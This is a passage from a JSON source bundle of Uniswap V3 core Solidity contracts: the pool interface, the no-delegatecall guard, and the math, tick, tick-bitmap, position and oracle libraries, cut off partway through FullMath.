"contracts/interfaces/IUniswapV3Pool.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './pool/IUniswapV3PoolImmutables.sol';\nimport './pool/IUniswapV3PoolState.sol';\nimport './pool/IUniswapV3PoolDerivedState.sol';\nimport './pool/IUniswapV3PoolActions.sol';\nimport './pool/IUniswapV3PoolOwnerActions.sol';\nimport './pool/IUniswapV3PoolEvents.sol';\n\n/// @title The interface for a Uniswap V3 Pool\n/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform\n/// to the ERC20 specification\n/// @dev The pool interface is broken up into many smaller pieces\ninterface IUniswapV3Pool is\n IUniswapV3PoolImmutables,\n IUniswapV3PoolState,\n IUniswapV3PoolDerivedState,\n IUniswapV3PoolActions,\n IUniswapV3PoolOwnerActions,\n IUniswapV3PoolEvents\n{\n\n}\n" }, "contracts/NoDelegateCall.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\n/// @title Prevents delegatecall to a contract\n/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract\nabstract contract NoDelegateCall {\n /// @dev The original address of this contract\n address private immutable original;\n\n constructor() {\n // Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.\n // In other words, this variable won't change when it's checked at runtime.\n original = address(this);\n }\n\n /// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,\n /// and the use of immutable means the address bytes are copied in every place the modifier is used.\n function checkNotDelegateCall() private view {\n require(address(this) == original);\n }\n\n /// @notice Prevents delegatecall into the modified method\n modifier noDelegateCall() {\n checkNotDelegateCall();\n _;\n }\n}\n" }, "contracts/libraries/LowGasSafeMath.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.0;\n\n/// @title Optimized overflow and underflow safe math operations\n/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost\nlibrary LowGasSafeMath {\n /// @notice Returns x + y, reverts if sum overflows uint256\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n /// @notice Returns x - y, reverts if underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n\n /// @notice Returns x * y, reverts if overflows\n /// @param x The multiplicand\n /// @param y The multiplier\n /// @return z The product of x and y\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(x == 0 || (z = x * y) / x == y);\n }\n\n /// @notice Returns x + y, reverts if overflows or underflows\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x + y) >= x == (y >= 0));\n }\n\n /// @notice Returns x - y, reverts if overflows or underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x - y) <= x == (y >= 0));\n }\n}\n" }, "contracts/libraries/SafeCast.sol": { "content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Safe casting methods\n/// @notice Contains methods for safely casting between types\nlibrary SafeCast {\n /// @notice Cast a uint256 to a uint160, revert on overflow\n /// @param y The uint256 to be downcasted\n /// @return z The downcasted integer, now type uint160\n function toUint160(uint256 y) internal pure returns (uint160 z) {\n require((z = uint160(y)) == y);\n }\n\n /// @notice Cast a int256 to a int128, revert on overflow or underflow\n /// @param y The int256 to be downcasted\n /// @return z The downcasted integer, now type int128\n function toInt128(int256 y) internal pure returns (int128 z) {\n require((z = int128(y)) == y);\n }\n\n /// @notice Cast a uint256 to a int256, revert on overflow\n /// @param y The uint256 to be casted\n /// @return z The casted integer, now type int256\n function toInt256(uint256 y) internal pure returns (int256 z) {\n require(y < 2**255);\n z = int256(y);\n }\n}\n" }, "contracts/libraries/Tick.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './TickMath.sol';\nimport './LiquidityMath.sol';\n\n/// @title Tick\n/// @notice Contains functions for managing tick processes and relevant calculations\nlibrary Tick {\n using LowGasSafeMath for int256;\n using SafeCast for int256;\n\n // info stored for each initialized individual tick\n struct Info {\n // the total position liquidity that references this tick\n uint128 liquidityGross;\n // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),\n int128 liquidityNet;\n // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint256 feeGrowthOutside0X128;\n uint256 feeGrowthOutside1X128;\n // the cumulative tick value on the other side of the tick\n int56 tickCumulativeOutside;\n // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint160 secondsPerLiquidityOutsideX128;\n // the seconds spent on the other side of the tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint32 secondsOutside;\n // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0\n // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks\n bool initialized;\n }\n\n /// @notice Derives max liquidity per tick from given tick spacing\n /// @dev Executed within the pool constructor\n /// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`\n /// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...\n /// @return The max liquidity per tick\n function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {\n int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;\n int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;\n uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;\n return type(uint128).max / numTicks;\n }\n\n /// @notice Retrieves fee growth data\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @param tickCurrent The current tick\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function getFeeGrowthInside(\n mapping(int24 => Tick.Info) storage self,\n int24 tickLower,\n int24 tickUpper,\n int24 tickCurrent,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128\n ) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {\n Info storage lower = self[tickLower];\n Info storage upper = self[tickUpper];\n\n // calculate fee growth below\n uint256 feeGrowthBelow0X128;\n uint256 feeGrowthBelow1X128;\n if (tickCurrent >= tickLower) {\n feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;\n } else {\n feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;\n }\n\n // calculate fee growth above\n uint256 feeGrowthAbove0X128;\n uint256 feeGrowthAbove1X128;\n if (tickCurrent < tickUpper) {\n feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;\n } else {\n feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;\n }\n\n feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;\n feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;\n }\n\n /// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The tick that will be updated\n /// @param tickCurrent The current tick\n /// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool\n /// @param time The current block timestamp cast to a uint32\n /// @param upper true for updating a position's upper tick, or false for updating a position's lower tick\n /// @param maxLiquidity The maximum liquidity allocation for a single tick\n /// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa\n function update(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n int24 tickCurrent,\n int128 liquidityDelta,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time,\n bool upper,\n uint128 maxLiquidity\n ) internal returns (bool flipped) {\n Tick.Info storage info = self[tick];\n\n uint128 liquidityGrossBefore = info.liquidityGross;\n uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);\n\n require(liquidityGrossAfter <= maxLiquidity, 'LO');\n\n flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);\n\n if (liquidityGrossBefore == 0) {\n // by convention, we assume that all growth before a tick was initialized happened _below_ the tick\n if (tick <= tickCurrent) {\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;\n info.tickCumulativeOutside = tickCumulative;\n info.secondsOutside = time;\n }\n info.initialized = true;\n }\n\n info.liquidityGross = liquidityGrossAfter;\n\n // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)\n info.liquidityNet = upper\n ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()\n : int256(info.liquidityNet).add(liquidityDelta).toInt128();\n }\n\n /// @notice Clears tick data\n /// @param self The mapping containing all initialized tick information for initialized ticks\n /// @param tick The tick that will be cleared\n function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {\n delete self[tick];\n }\n\n /// @notice Transitions to next tick as needed by price movement\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The destination tick of the transition\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity\n /// @param time The current block.timestamp\n /// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)\n function cross(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time\n ) internal returns (int128 liquidityNet) {\n Tick.Info storage info = self[tick];\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;\n info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;\n info.secondsOutside = time - info.secondsOutside;\n liquidityNet = info.liquidityNet;\n }\n}\n" }, "contracts/libraries/TickBitmap.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './BitMath.sol';\n\n/// @title Packed tick initialized state library\n/// @notice Stores a packed mapping of tick index to its initialized state\n/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.\nlibrary TickBitmap {\n /// @notice Computes the position in the mapping where the initialized bit for a tick lives\n /// @param tick The tick for which to compute the position\n /// @return wordPos The key in the mapping containing the word in which the bit is stored\n /// @return bitPos The bit position in the word where the flag is stored\n function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {\n wordPos = int16(tick >> 8);\n bitPos = uint8(tick % 256);\n }\n\n /// @notice Flips the initialized state for a given tick from false to true, or vice versa\n /// @param self The mapping in which to flip the tick\n /// @param tick The tick to flip\n /// @param tickSpacing The spacing between usable ticks\n function flipTick(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing\n ) internal {\n require(tick % tickSpacing == 0); // ensure that the tick is spaced\n (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);\n uint256 mask = 1 << bitPos;\n self[wordPos] ^= mask;\n }\n\n /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either\n /// to the left (less than or equal to) or right (greater than) of the given tick\n /// @param self The mapping in which to compute the next initialized tick\n /// @param tick The starting tick\n /// @param tickSpacing The spacing between usable ticks\n /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)\n /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick\n /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks\n function nextInitializedTickWithinOneWord(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing,\n bool lte\n ) internal view returns (int24 next, bool initialized) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity\n\n if (lte) {\n (int16 wordPos, uint8 bitPos) = position(compressed);\n // all the 1s at or to the right of the current bitPos\n uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing\n : (compressed - int24(bitPos)) * tickSpacing;\n } else {\n // start from the word of the next tick, since the current tick state doesn't matter\n (int16 wordPos, uint8 bitPos) = position(compressed + 1);\n // all the 1s at or to the left of the bitPos\n uint256 mask = ~((1 << bitPos) - 1);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the left of the current tick, return leftmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing\n : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;\n }\n }\n}\n" }, "contracts/libraries/Position.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './FixedPoint128.sol';\nimport './LiquidityMath.sol';\n\n/// @title Position\n/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary\n/// @dev Positions store additional state for tracking fees owed to the position\nlibrary Position {\n // info stored for each user's position\n struct Info {\n // the amount of liquidity owned by this position\n uint128 liquidity;\n // fee growth per unit of liquidity as of the last update to liquidity or fees owed\n uint256 feeGrowthInside0LastX128;\n uint256 feeGrowthInside1LastX128;\n // the fees owed to the position owner in token0/token1\n uint128 tokensOwed0;\n uint128 tokensOwed1;\n }\n\n /// @notice Returns the Info struct of a position, given an owner and position boundaries\n /// @param self The mapping containing all user positions\n /// @param owner The address of the position owner\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @return position The position info struct of the given owners' position\n function get(\n mapping(bytes32 => Info) storage self,\n address owner,\n int24 tickLower,\n int24 tickUpper\n ) internal view returns (Position.Info storage position) {\n position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];\n }\n\n /// @notice Credits accumulated fees to a user's position\n /// @param self The individual position to update\n /// @param liquidityDelta The change in pool liquidity as a result of the position update\n /// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function update(\n Info storage self,\n int128 liquidityDelta,\n uint256 feeGrowthInside0X128,\n uint256 feeGrowthInside1X128\n ) internal {\n Info memory _self = self;\n\n uint128 liquidityNext;\n if (liquidityDelta == 0) {\n require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions\n liquidityNext = _self.liquidity;\n } else {\n liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);\n }\n\n // calculate accumulated fees\n uint128 tokensOwed0 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside0X128 - _self.feeGrowthInside0LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n uint128 tokensOwed1 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside1X128 - _self.feeGrowthInside1LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n\n // update the position\n if (liquidityDelta != 0) self.liquidity = liquidityNext;\n self.feeGrowthInside0LastX128 = feeGrowthInside0X128;\n self.feeGrowthInside1LastX128 = feeGrowthInside1X128;\n if (tokensOwed0 > 0 || tokensOwed1 > 0) {\n // overflow is acceptable, have to withdraw before you hit type(uint128).max fees\n self.tokensOwed0 += tokensOwed0;\n self.tokensOwed1 += tokensOwed1;\n }\n }\n}\n" }, "contracts/libraries/Oracle.sol": { "content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\n/// @title Oracle\n/// @notice Provides price and liquidity data useful for a wide variety of system designs\n/// @dev Instances of stored oracle data, \"observations\", are collected in the oracle array\n/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the\n/// maximum length of the oracle array. New slots will be added when the array is fully populated.\n/// Observations are overwritten when the full length of the oracle array is populated.\n/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()\nlibrary Oracle {\n struct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n }\n\n /// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values\n /// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows\n /// @param last The specified observation to be transformed\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @return Observation The newly populated observation\n function transform(\n Observation memory last,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity\n ) private pure returns (Observation memory) {\n uint32 delta = blockTimestamp - last.blockTimestamp;\n return\n Observation({\n blockTimestamp: blockTimestamp,\n tickCumulative: last.tickCumulative + int56(tick) * delta,\n secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n initialized: true\n });\n }\n\n /// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array\n /// @param self The stored oracle array\n /// @param time The time of the oracle initialization, via block.timestamp truncated to uint32\n /// @return cardinality The number of populated elements in the oracle array\n /// @return cardinalityNext The new length of the oracle array, independent of population\n function initialize(Observation[65535] storage self, uint32 time)\n internal\n returns (uint16 cardinality, uint16 cardinalityNext)\n {\n self[0] = Observation({\n blockTimestamp: time,\n tickCumulative: 0,\n secondsPerLiquidityCumulativeX128: 0,\n initialized: true\n });\n return (1, 1);\n }\n\n /// @notice Writes an oracle observation to the array\n /// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.\n /// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality\n /// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.\n /// @param self The stored oracle array\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @param cardinality The number of populated elements in the oracle array\n /// @param cardinalityNext The new length of the oracle array, independent of population\n /// @return indexUpdated The new index of the most recently written element in the oracle array\n /// @return cardinalityUpdated The new cardinality of the oracle array\n function write(\n Observation[65535] storage self,\n uint16 index,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity,\n uint16 cardinality,\n uint16 cardinalityNext\n ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {\n Observation memory last = self[index];\n\n // early return if we've already written an observation this block\n if (last.blockTimestamp == blockTimestamp) return (index, cardinality);\n\n // if the conditions are right, we can bump the cardinality\n if (cardinalityNext > cardinality && index == (cardinality - 1)) {\n cardinalityUpdated = cardinalityNext;\n } else {\n cardinalityUpdated = cardinality;\n }\n\n indexUpdated = (index + 1) % cardinalityUpdated;\n self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);\n }\n\n /// @notice Prepares the oracle array to store up to `next` observations\n /// @param self The stored oracle array\n /// @param current The current next cardinality of the oracle array\n /// @param next The proposed next cardinality which will be populated in the oracle array\n /// @return next The next cardinality which will be populated in the oracle array\n function grow(\n Observation[65535] storage self,\n uint16 current,\n uint16 next\n ) internal returns (uint16) {\n require(current > 0, 'I');\n // no-op if the passed next value isn't greater than the current next value\n if (next <= current) return current;\n // store in each slot to prevent fresh SSTOREs in swaps\n // this data will not be used because the initialized boolean is still false\n for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;\n return next;\n }\n\n /// @notice comparator for 32-bit timestamps\n /// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time\n /// @param time A timestamp truncated to 32 bits\n /// @param a A comparison timestamp from which to determine the relative position of `time`\n /// @param b From which to determine the relative position of `time`\n /// @return bool Whether `a` is chronologically <= `b`\n function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) private pure returns (bool) {\n // if there hasn't been overflow, no need to adjust\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 2**32;\n uint256 bAdjusted = b > time ? b : b + 2**32;\n\n return aAdjusted <= bAdjusted;\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.\n /// The result may be the same observation, or adjacent observations.\n /// @dev The answer must be contained in the array, used when the target is located within the stored observation\n /// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation recorded before, or at, the target\n /// @return atOrAfter The observation recorded at, or after, the target\n function binarySearch(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n uint16 index,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n uint256 l = (index + 1) % cardinality; // oldest observation\n uint256 r = l + cardinality - 1; // newest observation\n uint256 i;\n while (true) {\n i = (l + r) / 2;\n\n beforeOrAt = self[i % cardinality];\n\n // we've landed on an uninitialized tick, keep searching higher (more recently)\n if (!beforeOrAt.initialized) {\n l = i + 1;\n continue;\n }\n\n atOrAfter = self[(i + 1) % cardinality];\n\n bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);\n\n // check if we've found the answer!\n if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;\n\n if (!targetAtOrAfter) r = i - 1;\n else l = i + 1;\n }\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied\n /// @dev Assumes there is at least 1 initialized observation.\n /// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param tick The active tick at the time of the returned or simulated observation\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The total pool liquidity at the time of the call\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation which occurred at, or before, the given timestamp\n /// @return atOrAfter The observation which occurred at, or after, the given timestamp\n function getSurroundingObservations(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n // optimistically set before to the newest observation\n beforeOrAt = self[index];\n\n // if the target is chronologically at or after the newest observation, we can early return\n if (lte(time, beforeOrAt.blockTimestamp, target)) {\n if (beforeOrAt.blockTimestamp == target) {\n // if newest observation equals target, we're in the same block, so we can ignore atOrAfter\n return (beforeOrAt, atOrAfter);\n } else {\n // otherwise, we need to transform\n return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));\n }\n }\n\n // now, set before to the oldest observation\n beforeOrAt = self[(index + 1) % cardinality];\n if (!beforeOrAt.initialized) beforeOrAt = self[0];\n\n // ensure that the target is chronologically at or after the oldest observation\n require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');\n\n // if we've reached this point, we have to binary search\n return binarySearch(self, time, target, index, cardinality);\n }\n\n /// @dev Reverts if an observation at or before the desired observation timestamp does not exist.\n /// 0 may be passed as `secondsAgo' to return the current cumulative values.\n /// If called with a timestamp falling between two observations, returns the counterfactual accumulator values\n /// at exactly the timestamp between the two observations.\n /// @param self The stored oracle array\n /// @param time The current block timestamp\n /// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`\n function observeSingle(\n Observation[65535] storage self,\n uint32 time,\n uint32 secondsAgo,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {\n if (secondsAgo == 0) {\n Observation memory last = self[index];\n if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);\n return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);\n }\n\n uint32 target = time - secondsAgo;\n\n (Observation memory beforeOrAt, Observation memory atOrAfter) =\n getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);\n\n if (target == beforeOrAt.blockTimestamp) {\n // we're at the left boundary\n return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);\n } else if (target == atOrAfter.blockTimestamp) {\n // we're at the right boundary\n return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);\n } else {\n // we're in the middle\n uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;\n uint32 targetDelta = target - beforeOrAt.blockTimestamp;\n return (\n beforeOrAt.tickCumulative +\n ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *\n targetDelta,\n beforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) * targetDelta) / observationTimeDelta\n )\n );\n }\n }\n\n /// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`\n /// @dev Reverts if `secondsAgos` > oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`\n function observe(\n Observation[65535] storage self,\n uint32 time,\n uint32[] memory secondsAgos,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {\n require(cardinality > 0, 'I');\n\n tickCumulatives = new int56[](secondsAgos.length);\n secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);\n for (uint256 i = 0; i < secondsAgos.length; i++) {\n (tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(\n self,\n time,\n secondsAgos[i],\n tick,\n index,\n liquidity,\n cardinality\n );\n }\n }\n}\n" }, "contracts/libraries/FullMath.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.4.0;\n\n/// @title Contains 512-bit math functions\n/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision\n/// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits\nlibrary FullMath {\n /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n // 512-bit multiply [prod1 prod0] = a * b\n // Compute the product mod 2**256 and mod 2**256 - 1\n // then use the Chinese Remainder Theorem to 